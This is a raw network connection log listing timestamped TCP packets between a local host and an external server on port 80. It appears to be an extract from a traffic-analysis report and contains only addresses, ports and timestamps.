Jul 15, 2024 00:48:26.624676943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.624682903 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.624686956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.624697924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.624699116 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.624708891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.624718904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.624731064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.624732971 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.624739885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.624744892 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.624758005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.624768972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.624769926 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.624779940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.624792099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.624798059 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.624803066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.624813080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.624828100 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.624844074 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.624867916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.624905109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.624917984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.624927998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.624939919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.624948978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.624959946 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.624974012 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.625004053 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.686018944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.686033010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.686043024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.686080933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.686086893 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.686091900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.686105013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.686121941 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.686137915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.686222076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.686233044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.686244965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.686255932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.686263084 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.686296940 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.686359882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.686371088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.686383009 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.686393023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.686407089 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.686430931 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.686446905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.686450958 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.686459064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.686470032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.686494112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.686525106 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.686533928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.686544895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.686557055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.686582088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.686588049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.686603069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.686628103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.713764906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.713829041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.713840008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.713859081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.713870049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.713881969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.713956118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.713967085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.713978052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.713989019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714005947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.714070082 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.714116096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714128017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714138985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714149952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714158058 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.714163065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714174032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714184999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714193106 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.714200020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714226961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.714246988 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.714328051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714339972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714349985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714363098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714371920 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.714375019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714385033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714391947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.714396954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714406967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714420080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714422941 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.714447021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.714467049 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.714556932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714567900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714576960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714587927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714598894 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714607954 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.714610100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714622974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714633942 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.714633942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714647055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714652061 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.714658976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714679956 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.714708090 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.714807987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714819908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714832067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714843988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714854002 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.714857101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714869976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.714880943 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.714891911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.714925051 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.715027094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715039015 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715051889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715064049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715066910 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.715075016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715085030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715085983 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.715097904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715107918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715111017 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.715121984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715130091 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.715136051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715146065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715148926 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.715166092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715176105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715192080 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.715202093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715214968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715223074 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.715225935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715239048 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.715264082 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.715286016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715297937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715312004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715325117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715331078 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.715337038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715348959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715356112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.715362072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715373993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715387106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715388060 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.715395927 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.715429068 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.715624094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715636969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715648890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715661049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715673923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715677977 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.715686083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715698957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715706110 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.715709925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715722084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715734005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715738058 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.715745926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715759993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.715763092 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.715781927 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.715801954 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.716016054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.716027975 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.716039896 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.716049910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.716061115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.716067076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.716073990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.716089010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.716094017 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.716100931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.716113091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.716116905 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.716125011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.716135979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.716144085 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.716149092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.716164112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.716190100 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.716319084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.716331959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.716344118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.716353893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.716365099 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.716365099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.716418028 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.776684999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.776700974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.776714087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.776767969 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.776797056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.776806116 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.776808023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.776822090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.776834011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.776845932 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.776853085 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.776868105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.776870012 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.776880026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.776892900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.776902914 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.776910067 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.776916027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.776928902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.776935101 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.776941061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.776954889 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.776964903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.776983976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.777028084 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.777157068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.777177095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.777189016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.777193069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.777200937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.777211905 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.777214050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.777229071 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.777240992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.777244091 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.777283907 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.804351091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.804363966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.804431915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.804493904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.804507017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.804517984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.804531097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.804542065 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.804569006 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.804584026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.804646969 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.804671049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.804682016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.804698944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.804708004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.804711103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.804723978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.804732084 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.804757118 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.804774046 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.804852009 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.804863930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.804873943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.804886103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.804887056 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.804893017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.804900885 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.804907084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.804919004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.804925919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.804929972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.804944038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.804951906 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.804979086 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.804991007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805001974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805022001 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805052042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805083036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805098057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805109978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805119038 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805123091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805130005 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805135965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805144072 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805146933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805166006 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805186987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805224895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805237055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805248976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805265903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805269957 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805284977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805289984 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805296898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805315018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805318117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805330992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805339098 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805362940 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805398941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805433035 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805540085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805551052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805568933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805573940 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805582047 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805588007 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805593967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805607080 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805609941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805620909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805624962 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805633068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805639029 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805644035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805658102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805664062 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805670977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805684090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805689096 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805697918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805704117 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805711985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805731058 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805757046 CEST	49704	80	192.168.2.5	38.180.60.246
